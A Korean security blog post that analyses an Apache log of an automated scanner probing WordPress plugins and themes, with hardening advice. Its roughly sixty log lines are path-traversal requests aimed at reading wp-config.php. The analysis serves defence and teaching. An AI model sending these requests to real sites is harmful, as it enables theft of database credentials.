홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#공격로그 #스캔로그 #워드프레스 #WordPress #자동화 공격도구 #A9-Using Components with Known Vulnerabilities

오늘의 공격로그: WordPress 전용 자동화공격도구 접속 기록

오늘 워드프레스를 전문으로 공격하는 자동화 공격도구의 접속 기록이 아파치 로그에 남았다. 전체 중에서 WordPress 취약점 스캔 로그만 발췌했다.

193.201.224.205 - - [18/Jan/2017:04:58:47 +0900] "GET /blog/secondaryphase/mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 404 497 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:58:54 +0900] "GET /wp-content/plugins/revslider/temp/update_extract/revslider/xxx.php HTTP/1.1" 404 531 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:00 +0900] "GET /blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 404 493 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:06 +0900] "GET /index.php/mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 200 11329 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:09 +0900] "GET /index.php/photocrati_ajax?action=upload_image&gallery_id=0&gallery_name=../../../../wp-config.php HTTP/1.1" 200 11155 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:13 +0900] "GET /magmi/web/plugin_upload.php HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:19 +0900] "GET /mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 404 477 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:24 +0900] "GET /wordpress/wp-admin/admin-ajax.php?action=cpabc_appointments_calendar_update&cpabc_calendar_update=1&id=../../../../../../wp-config.php HTTP/1.1" 404 498 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:30 +0900] "GET /wordpress/wp-admin/admin.php?page=multi_metabox_listing&action=edit&id=../../../../../../wp-config.php HTTP/1.1" 404 493 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:36 +0900] "GET /wp-admin/admin-ajax.php?action=cpabc_appointments_calendar_update&cpabc_calendar_update=1&id=../../../../../../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:41 +0900] "GET /wp-admin/admin-ajax.php?action=fe_get_sv_html&video=../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:46 +0900] "GET /wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:51 +0900] "GET /wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:04:59:56 +0900] "GET /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:01 +0900] "GET /wp-admin/admin-ajax.php?action=populate_download_edit_form HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:06 +0900] "GET /wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:11 +0900] "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:15 +0900] "GET /wp-admin/admin-ajax.php?action=showbiz_show_image&img=../wp-config.php HTTP/1.1" 404 488 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:19 +0900] "GET /wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing HTTP/1.1" 404 483 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:24 +0900] "GET /wp-admin/blog/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 404 493 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:28 +0900] "GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../wp-config.php HTTP/1.1" 404 483 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:32 +0900] "GET /wp-content/assets/themes/plugins/uploadify/uploadify.php HTTP/1.1" 404 521 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:36 +0900] "GET /wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php HTTP/1.1" 404 575 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:40 +0900] "GET /wp-content/blog/secondaryphase/mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 404 508 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:44 +0900] "GET /wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 404 494 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:47 +0900] "GET /wp-content/plugins/db-backup/download.php?file=../../../wp-config.php HTTP/1.1" 404 506 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:50 +0900] "GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php HTTP/1.1" 404 510 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:53 +0900] "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 404 527 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:56 +0900] "GET /wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../wp-config.php HTTP/1.1" 404 519 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:00:59 +0900] "GET /wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:02 +0900] "GET /wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php HTTP/1.1" 404 546 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:05 +0900] "GET /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php HTTP/1.1" 404 532 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:08 +0900] "GET /wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:10 +0900] "GET /wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php HTTP/1.1" 404 517 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:12 +0900] "GET /wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/.libs.php HTTP/1.1" 404 556 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:14 +0900] "GET /wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:16 +0900] "GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../wp-config.php HTTP/1.1" 404 531 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:18 +0900] "GET /wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:19 +0900] "POST /wp-content/themes/awake/lib/scripts/dl-skin.php HTTP/1.1" 404 512 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:22 +0900] "GET /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:23 +0900] "POST /wp-content/themes/construct/lib/scripts/dl-skin.php HTTP/1.1" 404 516 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:25 +0900] "POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:26 +0900] "POST /wp-content/themes/echelon/lib/scripts/dl-skin.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:27 +0900] "POST /wp-content/themes/elegance/lib/scripts/dl-skin.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:29 +0900] "GET /wp-content/themes/epic/includes/download.php?file=../../../../wp-config.php HTTP/1.1" 404 509 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:29 +0900] "POST /wp-content/themes/fusion/lib/scripts/dl-skin.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:30 +0900] "GET /wp-content/themes/infocus/lib/scripts/dl-skin.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:31 +0900] "POST /wp-content/themes/infocus/lib/scripts/dl-skin.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:32 +0900] "GET /wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr HTTP/1.1" 404 483 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:33 +0900] "POST /wp-content/themes/infocus2/lib/scripts/dl-skin.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:34 +0900] "GET /wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:34 +0900] "GET /wp-content/themes/lote27/download.php?download=../../../wp-config.php HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:35 +0900] "POST /wp-content/themes/method/lib/scripts/dl-skin.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:36 +0900] "POST /wp-content/themes/modular/lib/scripts/dl-skin.php HTTP/1.1" 404 514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:37 +0900] "POST /wp-content/themes/myriad/lib/scripts/dl-skin.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:37 +0900] "GET /wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php HTTP/1.1" 404 541 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:38 +0900] "GET /wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php HTTP/1.1" 404 545 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:39 +0900] "POST /wp-content/themes/persuasion/lib/scripts/dl-skin.php HTTP/1.1" 404 517 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:39 +0900] "GET /wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
193.201.224.205 - - [18/Jan/2017:05:01:40 +0900] "GET /wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php HTTP/1.1" 404 517 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"

공격자의 IP주소는 193.201.224.205(우크라이나 소재)이다. GET과 POST 방식 모두를 통해 거의 초 단위로 워드프레스의 취약점들을 훑고 있다. 첫번째 로그를 살펴보자.

"GET /blog/secondaryphase/mdocs-posts/?mdocs-img-preview=../../../wp-config.php HTTP/1.1"

이 접속은 워드프레스 플러그인 중 Memphis Document Library의 파일다운로드 취약점을 탐지하려는 시도이다.

"GET /wp-content/plugins/revslider/temp/update_extract/revslider/xxx.php HTTP/1.1"

이 접속은 2014년에 가장 큰 봇넷 구성에 성공했던 쏙쏙취약점을 탐지하려는 시도이다. 당시 revslider 플러그인의 취약점을 기반으로 - 알려진 것만 해도 - 10만 대 이상의 좀비서버를 양산하기도 했다.

자동화 공격도구는 항상 전세계를 훑고 있다. 193.201.224.205의 접속로그를 보면 대부분 워드프레스 테마(theme)와 플러그인(plugin)과 관련이 있다. 2003년에 만들어진 이후 십수년동안의 시련(?)을 통해 워드프레스 코어 자체는 보안상 매우 튼튼해진 것으로 보인다. 그러나 주로 외부 개발자들이 구현한 테마(theme)와 플러그인(plugin)에서 많은 취약점이 발견되고 있다. 때문에 워드프레스 자체에서 침해사고가 발생하는 원인은 대부분 테마와 플러그인 때문이라고 한다. 그리고 취약한 관리자 비밀번호도 침해사고 원인의 일정 부분을 차지하고 있다.

수많은 보안 전문가들의 조언을 보면

  • 기본 관리자계정(admin) 사용 금지: 추정하기 어려운 다른 ID를 사용할 것
    • ... 인간 해커가 우연히 들어왔을 때는 소용없다...
  • 워드프레스 코어와 플러그인, 테마를 항상 취신 버전으로 유지할 것.
    • 대부분의 서비스 운영자는 업그레이드에서 어떤 현상이 벌어질 지 알 수 없어서 망설이게 된다. 그것이 알지도 못하는 취약점 때문이라면 더 그렇하다. 현실적으로는 최신 버전으로 유지하기 어려운 이유이다.
  • 30~60일 이상이 지난 기사에는 댓글을 달 수 없도록 설정할 것
  • 워드프레스 로그인 링크를 제거하거나 사용해야 한다면 이중 인증 장치를 적용할 것
  • 보안 플러그인을 이용하여 무작위 로그인 시도를 차단할 것

등과 같다. 보안전문가들의 말은 모두 금과옥조처럼 맞는 말들이지만 해킹사고를 당해보지 않은 워드프레스 운영자들은 대부분 이러한 조언을 무시한다. 그리고 1년, 2년이 흐른 이후에는 거의 대부분 침해사고를 직접 경험하게 된다.

전 세계 누리집의 27%를 차지하는 워드프레스(WordPress)를 사용하는 것은 잠재적인 해킹 피해자라고 볼 수 있다. 병으로 따지면 잠복기 상태라고 보면 된다. 따라서 보안 전문가들의 조언을 따를 자신이 없다면, 그리고 자체적으로 개발할 여력이 없다면, 인지도가 낮은 공개용 게시판이나 CMS를 사용하기를 권한다. 보안상 워드프레스보다 더 취약할 수는 있겠지만 이 취약점들이 알려질 가능성은 훨씬 더 작기 때문에 기계적인 공격을 당할 확률도 훨씬 낮다.

마무리: 누가, 왜 내 웹서버를 해킹하는가?

기계다!

그리고 우연히! 내 웹서버에서 취약점이 탐지된 것이다.

대부분의 침해사고에서 인간해커가 직접 해킹을 하는 비율은 너무너무너무 작다. 다만 농협사태, 한수원 침해사고 등과 같이 정치적인 목적이 있는 경우에만 인간해커들이 활동하는 것으로 보아도 무방하다. 물론 어느 인간해커가 지나가다가 우연히 내 웹서버의 취약점을 발견할 가능성도 있지만 확률은 매우 낮다.

웹핵누리집은 인터넷에 아직 알려지지 않은 상태임에도 불구하고 수많은 취약점 탐지 로그들이 발견된다(공격 로그 사례). 내 장비를 인터넷에 물리는 순간 항상 취약점 스캔이 발생한다는 점을 주지하는 것이 좋다.

[처음 작성한 날: 2017.01.18]    [마지막으로 고친 날: 2017.01.18] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : 오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (2017.01.21)

> 다음 글 : WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (2017.01.16)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

